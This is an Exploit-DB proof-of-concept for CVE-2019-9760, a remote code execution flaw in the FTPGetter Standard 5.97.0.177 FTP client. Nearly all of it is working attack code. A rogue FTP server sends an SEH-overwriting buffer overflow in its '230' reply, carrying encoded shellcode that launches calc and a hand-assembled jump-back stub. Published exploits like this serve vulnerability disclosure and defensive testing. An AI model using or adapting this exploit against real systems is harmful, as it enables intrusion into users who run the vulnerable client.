FTPGetter Standard 5.97.0.177 - Remote Code Execution

EDB-ID:

46543


Author:

w4fz5uck5

Type:

remote


Platform:

Windows

Date:

2019-03-14


# Exploit Title: FTPGetter Standard - v.5.97.0.177 Remote Code Execution
# Date: 05/03/2019
# Exploit Author: https://github.com/w4fz5uck5 | @w4fz5uck5
# Vendor Homepage: https://www.ftpgetter.com
# Software Link: https://www.ftpgetter.com/ftpgetter_setup.exe
# Version: v.5.97.0.177
# Tested on: Windows 7 x64
# CVE : CVE-2019-9760


import socket
import struct
import time
import sys

# badchars = (
#   "\x59\x5a\x5b\x5c\x00\x0a\x0d\x20\x40\x1a\x80\x82\x83\x84\x85\x86\x87"
#   "\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
#   "\x9c\x9e\x9f\xc0\xc1" .....
#  )

# x86/alpha_mixed simple fixer -> bytes "\x89\xe3\xd9\xe1\xd9\x73\xf4"
calc =  ""                      
calc += "\x54"                               # push esp
calc += "\x58"                               # pop eax
calc += "\x05\x43\x06\x00\x00"    # add eax,0x643
calc += "\x50"                               # push eax
calc += "\x5f"                                # pop edi
calc += "\x25\x4A\x4D\x4E\x55"   # zerout EAX
calc += "\x25\x35\x32\x31\x2A"    # zerout EAX
calc += "\x04\xab"                         # ADD AL,0xab
calc += "\x31\x07"                         # XOR DWORD PTR DS:[EDI],EAX
calc += "\x31\x47\x01"                  # XOR DWORD PTR DS:[EDI+1],EAX
calc += "\x31\x47\x02"                  # XOR DWORD PTR DS:[EDI+2],EAX
calc += "\x2C\x5B"                       # SUB AL,0x5b -> EAX = 0x50
calc += "\x31\x47\x03"                 # XOR DWORD PTR DS:[EDI+3],EAX
calc += "\x31\x47\x04"                 # XOR DWORD PTR DS:[EDI+4],EAX
calc += "\x90\x90\x90\x90"          # padding

# "\x89\xe3"
calc += "\x54"                              # push esp
calc += "\x5b"                              # pop ebx

# "\xd9\xe1\xd9" xored: 0xab
calc += "\x72\x4a\x72"

# \x73\xf4 xored: 0x50
calc += "\x23\xa4"              

calc += "\x58\x50\x59\x49\x49\x49"
calc += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
calc += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
calc += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
calc += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
calc += "\x4a\x49\x58\x59\x48\x4b\x4f\x4e\x48\x39\x47\x53\x45"
calc += "\x37\x56\x51\x38\x59\x32\x54\x51\x34\x5a\x54\x51\x4a"
calc += "\x51\x39\x4f\x39\x58\x31\x45\x43\x56\x51\x53\x42\x35"
calc += "\x49\x4b\x33\x48\x42\x55\x54\x45\x53\x43\x42\x45\x45"
calc += "\x31\x4b\x58\x56\x50\x56\x4d\x33\x39\x59\x32\x51\x4a"
calc += "\x5a\x32\x42\x4b\x31\x4d\x32\x43\x45\x4b\x32\x44\x4b"
calc += "\x4e\x53\x4d\x31\x49\x50\x38\x59\x34\x4b\x55\x31\x49"
calc += "\x30\x54\x51\x5a\x47\x55\x53\x57\x31\x4d\x54\x53\x4c"
calc += "\x59\x4b\x49\x42\x49\x38\x4d\x4a\x5a\x37\x4f\x4a\x33"
calc += "\x58\x34\x50\x4b\x4b\x51\x4b\x5a\x48\x4e\x4d\x42\x50"
calc += "\x53\x4b\x46\x48\x4e\x53\x4b\x36\x35\x58\x42\x44\x4e"
calc += "\x4c\x30\x52\x54\x4e\x4c\x4d\x59\x4d\x46\x4d\x37\x4c"
calc += "\x37\x4c\x4f\x50\x4b\x4c\x4f\x4c\x4c\x42\x57\x53\x49"
calc += "\x38\x58\x57\x4d\x44\x32\x4e\x57\x53\x38\x59\x5a\x43"
calc += "\x33\x35\x49\x44\x43\x35\x4c\x32\x45\x4b\x5a\x49\x35"
calc += "\x59\x51\x4a\x35\x4c\x50\x39\x4f\x4d\x41\x41"

# Encode addresses and create jmp esp
# Calculate jmp esp offset and put it on stack
jump_back =  "\x55"                               # push ebp
jump_back += "\x58"                              # pop eax
jump_back += "\x05\x2b\x08\x00\x00"   # add eax,2091
jump_back += "\x50"                              # push eax

# zerout EAX
jump_back += "\x25\x4A\x4D\x4E\x55"  # and  eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A"   # and  eax, 0x2a313235

jump_back += "\x3E\x33\x04\x24"          # XOR EAX,DWORD PTR DS:[ESP] -> send stack addr to EAX
jump_back += "\x50"                               # push eax
jump_back += "\x5f"                                # pop edi

# zerout EAX
jump_back += "\x25\x4A\x4D\x4E\x55"  # and  eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A"   # and  eax, 0x2a313235

jump_back += "\x04\x81"                    # ADD AL,0x81
jump_back += "\x31\x07"                    # XOR DWORD PTR DS:[EDI],EAX
jump_back += "\x31\x47\x01"             # XOR DWORD PTR DS:[EDI+1],EAX
jump_back += "\x90\x90\x90\x90"      # padding

# Tool utilized: https://github.com/ihack4falafel/Slink
# All rights reserved to ihack4falafel
#
# \x54\x58\x66\x05\x04\x06\x50\xc3
jump_back += "\x25\x4A\x4D\x4E\x55"   # and  eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A"    # and  eax, 0x2a313235
jump_back += "\x05\x02\x03\x30\x62"    # add  eax, 0x62300302
jump_back += "\x05\x02\x03\x20\x61"    # add  eax, 0x61200302
jump_back += "\x50"                               # push eax
jump_back += "\x25\x4A\x4D\x4E\x55"  # and  eax, 0x554e4d4a
jump_back += "\x25\x35\x32\x31\x2A"   # and  eax, 0x2a313235
jump_back += "\x05\x32\x34\x33\x03"   # add  eax, 0x03333432
jump_back += "\x05\x22\x24\x33\x02"   # add  eax, 0x02332422
jump_back += "\x50"                              # push eax

# jump to second shellcode
jump_back += "\x7e\x65"                       # jmp esp xored: 0x81

# Overflow size 493
payload =  "\x90" * 29
payload += calc                                        # shellcode
payload += "\x90" * (493 - len(payload))  # padding
payload += "\x7e\x06\x90\x90"                # NSEH
payload += "\x31\x20\x77\x00"                # SEH -> POP ESI # POP EBX # RETN
payload += "\x90\x90\x90\x90"
payload += jump_back                            # jump to our calc
payload += "\x90" * 700                          # Final padding

try:
    host, port = "0.0.0.0", 21
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, int(port)))
    s.listen(5)
    print "[*] Listening server at port: {}".format(port)
    print "[*] Waiting for the client!.."
   
except Exception as e:
    print "[-] Failed attempt to create bind socket!"
    sys.exit(0)
   
try:
    conn, client = s.accept()
    conn.send("220 Welcome to server !\r\n")
    conn.recv(1024)
   
    print "[+] User started communication with server!"
    conn.send("331 anonymous OK!\r\n")
    conn.recv(1024)
    print "[+] Received anonymous user from the client!"
   
    print "[*] CALC shellcode Length: " + str(len(calc))
    print "[*] Jump Back shellcode Length: " + str(len(jump_back))
    print "[*] Payload final size: " + str(len(payload))
    print "[!] Attempting to send payload!..."
    conn.send("230 " + payload + "\r\n")

    time.sleep(1)
    print "[+] You should have your poped calc!"

    conn.close()
    s.close()
except:
    print "[-] Failed attempt to send payload!"
sys.exit(0)